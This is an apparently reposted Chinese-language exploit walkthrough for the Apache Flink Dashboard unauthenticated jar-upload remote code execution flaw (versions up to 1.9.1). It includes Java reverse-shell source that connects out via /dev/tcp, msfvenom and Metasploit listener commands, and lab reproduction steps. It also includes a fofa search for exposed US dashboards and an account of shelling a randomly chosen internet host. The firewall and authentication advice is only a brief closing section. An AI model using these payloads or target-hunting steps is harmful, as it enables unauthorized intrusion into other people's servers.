這篇文章給大家介紹apache flink任意jar包上傳導致遠程代碼執(zhí)行的示例分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
在陸豐等地區(qū),都構建了全面的區(qū)域性戰(zhàn)略布局,加強發(fā)展的系統(tǒng)性、市場前瞻性、產品創(chuàng)新能力,以專注、極致的服務理念,為客戶提供網站設計制作、網站建設 網站設計制作按需制作網站,公司網站建設,企業(yè)網站建設,品牌網站設計,網絡營銷推廣,外貿營銷網站建設,陸豐網站建設費用合理。
2019年11月11號,安全工程師Henry Chen披露了一個Apache Flink未授權上傳jar包導致遠程代碼執(zhí)行的漏洞。由于Apache Flink Dashboard 默認無需認證即可訪問,通過上傳惡意jar包并觸發(fā)惡意代碼執(zhí)行,從而獲取shell。
<= 1.9.1(最新版本)
(1) 提前安裝好java(需要java8以上)

(2) 下載flink-1.9.1
下載地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) 解壓下載的壓縮包:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) 進去到解壓后的目錄中,來到其bin目錄下:

(5) 啟動flink:
./start-cluster.sh
(6) 瀏覽器訪問驗證(默認端口為8081):
http://172.26.1.108:8081

出現(xiàn)上圖即搭建成功.
(7) 設置開機自啟(這里折騰了好久,一直起不來.直接source /etc/rc.d/rc.local可以啟動,但是重啟后并不會啟動flink,最后找到了解決方法)

開機自啟設置
jar包制作步驟:
(1) 參考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中給出的利用java反彈shell

記得修改ip和端口:

代碼:
package shell;public class Revs {
/** * @param args * @throws Exception */
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;
cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}}(2) 利用eclipse將其導出為一個可執(zhí)行的jar包: a. 點擊 File-->Export(導出)

b.然后選擇java-->Runnable JAR file

c.然后選擇對應的java項目和導出路徑以及導出文件名

圖片
這樣就生成了一個反彈shell的jar包
msf生成jar馬:
(1) 利用msfvenom來生成一個jar馬:
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) 打開msf的監(jiān)聽模塊,并監(jiān)聽9999端口(要與我們jar馬設置的端口一致)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) 上傳我們生成的jar馬并提交后(這部分操作參考下面的復現(xiàn)),可以看到我們成功接收到shell:

本地復現(xiàn):
(1) 訪問目標:

(2) 點擊Submit New job,打開上傳jar包的頁面:

(3) 點擊Add New選擇我們制作好的jar包:

(4) 我們的機器上監(jiān)聽好端口(我們制作的jar包是直接反彈shell的)
(5) 點擊我們剛剛上傳的jar包:

(6) 然后點擊Submit即可,可以看到我們已經成功接收到了shell:

互聯(lián)網站點:
fofa關鍵詞:
"apache-flink-dashboard" && country="US"

(1) 隨便找一個目標:

(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar包

(3) 利用flink上傳jar包的功能將我們的jar包上傳:

(4) 上傳后,我們在我們的vps上監(jiān)聽好端口
(5) 然后回到瀏覽器,選中我們剛剛上傳的jar包,然后點擊Submitting提交,可以看到我們的vps已經成功接收到了shell

建議設置防火墻策略,僅允許白名單ip訪問 apache flink服務,并在Web代理(如apache httpd)中增加對該服務的digest認證。
時刻關注官網,等待新版本或補丁更新
關于apache flink任意jar包上傳導致遠程代碼執(zhí)行的示例分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
分享題目:apacheflink任意jar包上傳導致遠程代碼執(zhí)行的示例分析
網頁路徑:http://chinadenli.net/article46/goiieg.html
成都網站建設公司_創(chuàng)新互聯(lián),為您提供App開發(fā)、微信公眾號、電子商務、移動網站建設、ChatGPT、網站改版
聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)